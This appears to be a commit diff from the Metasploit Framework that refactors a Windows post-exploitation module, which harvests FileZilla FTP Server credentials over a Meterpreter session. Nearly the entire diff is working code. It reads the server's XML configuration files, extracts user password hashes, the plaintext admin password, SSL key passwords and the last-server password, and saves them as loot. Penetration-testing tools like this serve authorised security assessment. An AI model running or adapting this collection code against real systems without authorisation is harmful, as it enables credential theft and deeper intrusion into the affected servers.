Land #5701, @g0tmi1k's filezilla_server refactor
commit
ff9b975576
|
@ -11,22 +11,26 @@ class Metasploit3 < Msf::Post
|
|||
|
||||
include Msf::Post::File
|
||||
|
||||
def initialize(info={})
|
||||
def initialize(info = {})
|
||||
super( update_info(info,
|
||||
'Name' => 'Windows Gather FileZilla FTP Server Credential Collection',
|
||||
'Description' => %q{ This module will collect credentials from the FileZilla FTP server if installed. },
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => ['bannedit'],
|
||||
'Author' =>
|
||||
[
|
||||
'bannedit', # original idea & module
|
||||
'g0tmi1k' # @g0tmi1k // https://blog.g0tmi1k.com/ - additional features
|
||||
],
|
||||
'Platform' => ['win'],
|
||||
'SessionTypes' => ['meterpreter' ]
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
register_options([
|
||||
OptBool.new('SSLCERT', [false, 'Loot the SSL Certificate if its there?', false]), # useful perhaps for MITM
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
||||
def run
|
||||
if session.type != "meterpreter"
|
||||
print_error "Only meterpreter sessions are supported by this post module"
|
||||
|
@ -36,11 +40,10 @@ class Metasploit3 < Msf::Post
|
|||
@progs = "#{session.sys.config.getenv('ProgramFiles')}\\"
|
||||
|
||||
filezilla = check_filezilla
|
||||
if filezilla != nil
|
||||
get_filezilla_creds(filezilla)
|
||||
end
|
||||
get_filezilla_creds(filezilla) if filezilla
|
||||
end
|
||||
|
||||
|
||||
def check_filezilla
|
||||
paths = []
|
||||
path = @progs + "FileZilla Server\\"
|
||||
|
@ -55,26 +58,28 @@ class Metasploit3 < Msf::Post
|
|||
end
|
||||
|
||||
session.fs.dir.foreach(path) do |fdir|
|
||||
if fdir =~ /FileZilla\sServer.*\.xml/i
|
||||
paths << path + fdir
|
||||
['FileZilla Server.xml','FileZilla Server Interface.xml'].each do |xmlfile|
|
||||
if fdir == xmlfile
|
||||
filepath = path + xmlfile
|
||||
vprint_status("Configuration file found: #{filepath}")
|
||||
paths << filepath
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
if !paths.empty?
|
||||
print_status("Found FileZilla Server")
|
||||
print_line("")
|
||||
paths << path + 'FileZilla Server.xml'
|
||||
paths << path + 'FileZilla Server Interface.xml'
|
||||
|
||||
print_good("Found FileZilla Server on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")
|
||||
print_line
|
||||
return paths
|
||||
end
|
||||
|
||||
return nil
|
||||
end
|
||||
|
||||
|
||||
def get_filezilla_creds(paths)
|
||||
fs_xml = ""
|
||||
fsi_xml = ""
|
||||
fs_xml = "" # FileZilla Server.xml - Settings for the local install
|
||||
fsi_xml = "" # FileZilla Server Interface.xml - Last server used with the interface
|
||||
credentials = Rex::Ui::Text::Table.new(
|
||||
'Header' => "FileZilla FTP Server Credentials",
|
||||
'Indent' => 1,
|
||||
|
@ -122,11 +127,28 @@ class Metasploit3 < Msf::Post
|
|||
"SSL Key Password"
|
||||
])
|
||||
|
||||
file = session.fs.file.new(paths[1], "rb")
|
||||
lastserver = Rex::Ui::Text::Table.new(
|
||||
'Header' => "FileZilla FTP Last Server",
|
||||
'Indent' => 1,
|
||||
'Columns' =>
|
||||
[
|
||||
"IP",
|
||||
"Port",
|
||||
"Password"
|
||||
])
|
||||
|
||||
|
||||
paths.each do |path|
|
||||
file = session.fs.file.new(path, "rb")
|
||||
until file.eof?
|
||||
if path.include? "FileZilla Server.xml"
|
||||
fs_xml << file.read
|
||||
elsif path.include? "FileZilla Server Interface.xml"
|
||||
fsi_xml << file.read
|
||||
end
|
||||
end
|
||||
file.close
|
||||
end
|
||||
|
||||
# user credentials password is just an MD5 hash
|
||||
# admin pass is just plain text. Priorities?
|
||||
|
@ -135,12 +157,7 @@ class Metasploit3 < Msf::Post
|
|||
creds.each do |cred|
|
||||
credentials << [cred['host'], cred['port'], cred['user'], cred['password'], cred['ssl']]
|
||||
|
||||
if session.db_record
|
||||
source_id = session.db_record.id
|
||||
else
|
||||
source_id = nil
|
||||
end
|
||||
|
||||
session.db_record ? (source_id = session.db_record.id) : (source_id = nil)
|
||||
|
||||
service_data = {
|
||||
address: ::Rex::Socket.getaddress(session.sock.peerhost, true),
|
||||
|
@ -173,34 +190,22 @@ class Metasploit3 < Msf::Post
|
|||
# Merge in the service data and create our Login
|
||||
login_data.merge!(service_data)
|
||||
login = create_credential_login(login_data)
|
||||
|
||||
end
|
||||
|
||||
perms.each do |perm|
|
||||
permissions << [perm['host'], perm['user'], perm['dir'], perm['fileread'], perm['filewrite'], perm['filedelete'], perm['fileappend'],
|
||||
perm['dircreate'], perm['dirdelete'], perm['dirlist'], perm['dirsubdirs'], perm['autocreate'], perm['home']]
|
||||
permissions << [perm['host'], perm['user'], perm['dir'], perm['fileread'], perm['filewrite'],
|
||||
perm['filedelete'], perm['fileappend'], perm['dircreate'], perm['dirdelete'], perm['dirlist'],
|
||||
perm['dirsubdirs'], perm['autocreate'], perm['home']]
|
||||
end
|
||||
|
||||
vprint_status(" Collected the following configuration details:")
|
||||
vprint_status(" FTP Port: %s" % config['ftp_port'])
|
||||
vprint_status(" FTP Bind IP: %s" % config['ftp_bindip'])
|
||||
vprint_status(" SSL: %s" % config['ssl'])
|
||||
vprint_status(" Admin Port: %s" % config['admin_port'])
|
||||
vprint_status(" Admin Bind IP: %s" % config['admin_bindip'])
|
||||
vprint_status(" Admin Pass: %s" % config['admin_pass'])
|
||||
vprint_line("")
|
||||
session.db_record ? (source_id = session.db_record.id) : (source_id = nil)
|
||||
|
||||
configuration << [config['ftp_port'], config['ftp_bindip'], config['admin_port'], config['admin_bindip'], config['admin_pass'],
|
||||
config['ssl'], config['ssl_certfile'], config['ssl_keypass']]
|
||||
if session.db_record
|
||||
source_id = session.db_record.id
|
||||
else
|
||||
source_id = nil
|
||||
end
|
||||
# report the goods!
|
||||
if config['admin_port'] == "<none>"
|
||||
vprint_status("(No admin information found.)")
|
||||
if config['ftp_port'] == "<none>"
|
||||
vprint_status("Detected Default Adminstration Settings:")
|
||||
config['ftp_port'] = "21"
|
||||
else
|
||||
vprint_status("Collected the following configuration details:")
|
||||
service_data = {
|
||||
address: ::Rex::Socket.getaddress(session.sock.peerhost, true),
|
||||
port: config['admin_port'],
|
||||
|
@ -231,63 +236,90 @@ class Metasploit3 < Msf::Post
|
|||
# Merge in the service data and create our Login
|
||||
login_data.merge!(service_data)
|
||||
login = create_credential_login(login_data)
|
||||
|
||||
end
|
||||
|
||||
vprint_status(" FTP Port: #{config['ftp_port']}")
|
||||
vprint_status(" FTP Bind IP: #{config['ftp_bindip']}")
|
||||
vprint_status(" SSL: #{config['ssl']}")
|
||||
vprint_status(" Admin Port: #{config['admin_port']}")
|
||||
vprint_status(" Admin Bind IP: #{config['admin_bindip']}")
|
||||
vprint_status(" Admin Pass: #{config['admin_pass']}")
|
||||
vprint_line
|
||||
|
||||
configuration << [config['ftp_port'], config['ftp_bindip'], config['admin_port'], config['admin_bindip'],
|
||||
config['admin_pass'], config['ssl'], config['ssl_certfile'], config['ssl_keypass']]
|
||||
|
||||
|
||||
lastser = parse_interface(fsi_xml)
|
||||
lastserver << [lastser['ip'], lastser['port'], lastser['password']]
|
||||
|
||||
vprint_status("Last Server Information:")
|
||||
vprint_status(" IP: #{lastser['ip']}")
|
||||
vprint_status(" Port: #{lastser['port']}")
|
||||
vprint_status(" Password: #{lastser['password']}")
|
||||
vprint_line
|
||||
|
||||
p = store_loot("filezilla.server.creds", "text/csv", session, credentials.to_csv,
|
||||
"filezilla_server_credentials.csv", "FileZilla FTP Server Credentials")
|
||||
|
||||
print_status("Credentials saved in: #{p.to_s}")
|
||||
|
||||
p = store_loot("filezilla.server.perms", "text/csv", session, permissions.to_csv,
|
||||
"filezilla_server_permissions.csv", "FileZilla FTP Server Permissions")
|
||||
|
||||
print_status("Permissions saved in: #{p.to_s}")
|
||||
|
||||
p = store_loot("filezilla.server.config", "text/csv", session, configuration.to_csv,
|
||||
"filezilla_server_configuration.csv", "FileZilla FTP Server Configuration")
|
||||
print_status(" Config saved in: #{p.to_s}")
|
||||
|
||||
print_status("Config saved in: #{p.to_s}")
|
||||
p = store_loot("filezilla.server.lastser", "text/csv", session, lastserver.to_csv,
|
||||
"filezilla_server_lastserver.csv", "FileZilla FTP Last Server")
|
||||
print_status(" Last server history: #{p.to_s}")
|
||||
|
||||
print_line
|
||||
end
|
||||
|
||||
|
||||
def parse_server(data)
|
||||
creds = []
|
||||
perms = []
|
||||
groups = []
|
||||
settings = {}
|
||||
users = 0
|
||||
passwords = 0
|
||||
groups = []
|
||||
perm = {}
|
||||
|
||||
begin
|
||||
doc = REXML::Document.new(data).root
|
||||
rescue REXML::ParseException => e
|
||||
print_error("Invalid xml format")
|
||||
end
|
||||
|
||||
items = doc.elements.to_a("//Settings//Item/")
|
||||
settings['ftp_port'] = items[0].text rescue "<none>"
|
||||
settings['admin_port'] = items[16].text rescue "<none>"
|
||||
settings['admin_pass'] = items[17].text rescue "<none>"
|
||||
settings['local_host'] = items[18].text rescue ""
|
||||
settings['bindip'] = items[38].text rescue ""
|
||||
settings['ssl'] = items[42].text rescue ""
|
||||
opt = doc.elements.to_a("Settings/Item")
|
||||
if opt[1].nil? # Default value will only have a single line, for admin port - no adminstration settings
|
||||
settings['admin_port'] = opt[0].text rescue "<none>"
|
||||
settings['ftp_port'] = "<none>"
|
||||
else
|
||||
settings['ftp_port'] = opt[0].text rescue "<none>"
|
||||
settings['admin_port'] = opt[16].text rescue "<none>"
|
||||
end
|
||||
settings['admin_pass'] = opt[17].text rescue "<none>"
|
||||
settings['local_host'] = opt[18].text rescue ""
|
||||
settings['bindip'] = opt[38].text rescue ""
|
||||
settings['ssl'] = opt[42].text rescue ""
|
||||
|
||||
if settings['local_host'] # empty means localhost only * is 0.0.0.0
|
||||
# empty means localhost only * is 0.0.0.0
|
||||
if settings['local_host']
|
||||
settings['admin_bindip'] = settings['local_host']
|
||||
else
|
||||
settings['admin_bindip'] = "127.0.0.1"
|
||||
end
|
||||
if settings['admin_bindip'] == "*"
|
||||
settings['admin_bindip'] = "0.0.0.0"
|
||||
end
|
||||
settings['admin_bindip'] = "0.0.0.0" if settings['admin_bindip'] == "*" || settings['admin_bindip'].empty?
|
||||
|
||||
if settings['bindip']
|
||||
settings['ftp_bindip'] = settings['bindip']
|
||||
else
|
||||
settings['ftp_bindip'] = "127.0.0.1"
|
||||
end
|
||||
|
||||
# make the bindip a little easier to understand
|
||||
if settings['ftp_bindip'] == "*"
|
||||
settings['ftp_bindip'] = "0.0.0.0"
|
||||
end
|
||||
settings['ftp_bindip'] = "0.0.0.0" if settings['ftp_bindip'] == "*" || settings['ftp_bindip'].empty?
|
||||
|
||||
if settings['ssl'] == "1"
|
||||
settings['ssl'] = "true"
|
||||
|
@ -309,30 +341,28 @@ class Metasploit3 < Msf::Post
|
|||
print_status("Looted SSL Certificate File")
|
||||
end
|
||||
|
||||
if settings['ssl_certfile'].nil?
|
||||
settings['ssl_certfile'] = "<none>"
|
||||
end
|
||||
settings['ssl_certfile'] = "<none>" if settings['ssl_certfile'].nil?
|
||||
|
||||
settings['ssl_keypass'] = items[50].text rescue "<none>"
|
||||
settings['ssl_keypass'] = "<none>" if settings['ssl_keypass'].nil?
|
||||
|
||||
if settings['ssl_keypass'].nil?
|
||||
settings['ssl_keypass'] = "<none>"
|
||||
end
|
||||
vprint_status("Collected the following credentials:") if doc.elements['Users']
|
||||
|
||||
doc.elements['Users'].elements.each('User') do |user|
|
||||
doc.elements.each("Users/User") do |user|
|
||||
account = {}
|
||||
opt = user.elements.to_a("Option")
|
||||
account['user'] = user.attributes['Name'] rescue "<none>"
|
||||
users += 1
|
||||
opt = user.elements.to_a("//User//Option/")
|
||||
account['password'] = opt[0].text rescue "<none>"
|
||||
account['group'] = opt[1].text rescue "<none>"
|
||||
users += 1
|
||||
passwords += 1
|
||||
groups << account['group']
|
||||
|
||||
user.elements.to_a("//User//Permissions//Permission").each do |permission|
|
||||
perm['user'] = account['user'] # give some context as to which user has these permissions
|
||||
perm['dir'] = permission.attributes['Dir']
|
||||
opt = permission.elements.to_a("//User//Permissions//Permission//Option")
|
||||
user.elements.to_a("Permissions/Permission").each do |permission|
|
||||
perm = {}
|
||||
opt = permission.elements.to_a("Option")
|
||||
perm['user'] = user.attributes['Name'] rescue "<unknown>"
|
||||
perm['dir'] = permission.attributes['Dir'] rescue "<unknown>"
|
||||
perm['fileread'] = opt[0].text rescue "<unknown>"
|
||||
perm['filewrite'] = opt[1].text rescue "<unknown>"
|
||||
perm['filedelete'] = opt[2].text rescue "<unknown>"
|
||||
|
@ -342,53 +372,69 @@ class Metasploit3 < Msf::Post
|
|||
perm['dirlist'] = opt[6].text rescue "<unknown>"
|
||||
perm['dirsubdirs'] = opt[7].text rescue "<unknown>"
|
||||
perm['autocreate'] = opt[9].text rescue "<unknown>"
|
||||
perm['host'] = settings['ftp_bindip']
|
||||
|
||||
opt[8].text == "1" ? (perm['home'] = "true") : (perm['home'] = "false")
|
||||
|
||||
if opt[8].text == "1"
|
||||
perm['home'] = "true"
|
||||
else
|
||||
perm['home'] = "false"
|
||||
end
|
||||
perms << perm
|
||||
|
||||
end
|
||||
|
||||
user.elements.to_a("//User//IpFilter//Allowed").each do |allowed|
|
||||
user.elements.to_a("IpFilter/Allowed").each do |allowed|
|
||||
end
|
||||
user.elements.to_a("//User//IpFilter//Disallowed").each do |disallowed|
|
||||
user.elements.to_a("IpFilter/Disallowed").each do |disallowed|
|
||||
end
|
||||
|
||||
account['host'] = settings['ftp_bindip']
|
||||
perm['host'] = settings['ftp_bindip']
|
||||
account['port'] = settings['ftp_port']
|
||||
account['ssl'] = settings['ssl']
|
||||
creds << account
|
||||
|
||||
vprint_status(" Collected the following credentials:")
|
||||
vprint_status(" Username: %s" % account['user'])
|
||||
vprint_status(" Password: %s" % account['password'])
|
||||
vprint_status(" Group: %s" % account['group'])
|
||||
vprint_line("")
|
||||
vprint_status(" Username: #{account['user']}")
|
||||
vprint_status(" Password: #{account['password']}")
|
||||
vprint_status(" Group: #{account['group']}") if account['group']
|
||||
vprint_line
|
||||
end
|
||||
|
||||
# Rather than printing out all the values, just count up
|
||||
groups = groups.uniq unless groups.uniq.nil?
|
||||
if !datastore['VERBOSE']
|
||||
print_status(" Collected the following credentials:")
|
||||
print_status(" Usernames: %u" % users)
|
||||
print_status(" Passwords: %u" % passwords)
|
||||
print_status(" Groups: %u" % groups.length)
|
||||
print_line("")
|
||||
print_status("Collected the following credentials:")
|
||||
print_status(" Usernames: #{users}")
|
||||
print_status(" Passwords: #{passwords}")
|
||||
print_status(" Groups: #{groups.length}")
|
||||
print_line
|
||||
end
|
||||
return [creds, perms, settings]
|
||||
end
|
||||
|
||||
def got_root?
|
||||
if session.sys.config.getuid =~ /SYSTEM/
|
||||
return true
|
||||
end
|
||||
return false
|
||||
|
||||
def parse_interface(data)
|
||||
lastser = {}
|
||||
|
||||
begin
|
||||
doc = REXML::Document.new(data).root
|
||||
rescue REXML::ParseException => e
|
||||
print_error("Invalid xml format")
|
||||
end
|
||||
|
||||
opt = doc.elements.to_a("Settings/Item")
|
||||
|
||||
lastser['ip'] = opt[0].text rescue "<none>"
|
||||
lastser['port'] = opt[1].text rescue "<none>"
|
||||
lastser['password'] = opt[2].text rescue "<none>"
|
||||
|
||||
lastser['password'] = "<none>" if lastser['password'].nil?
|
||||
|
||||
lastser
|
||||
end
|
||||
|
||||
|
||||
def got_root?
|
||||
session.sys.config.getuid =~ /SYSTEM/ ? true : false
|
||||
end
|
||||
|
||||
|
||||
def whoami
|
||||
return session.sys.config.getenv('USERNAME')
|
||||
session.sys.config.getenv('USERNAME')
|
||||
end
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue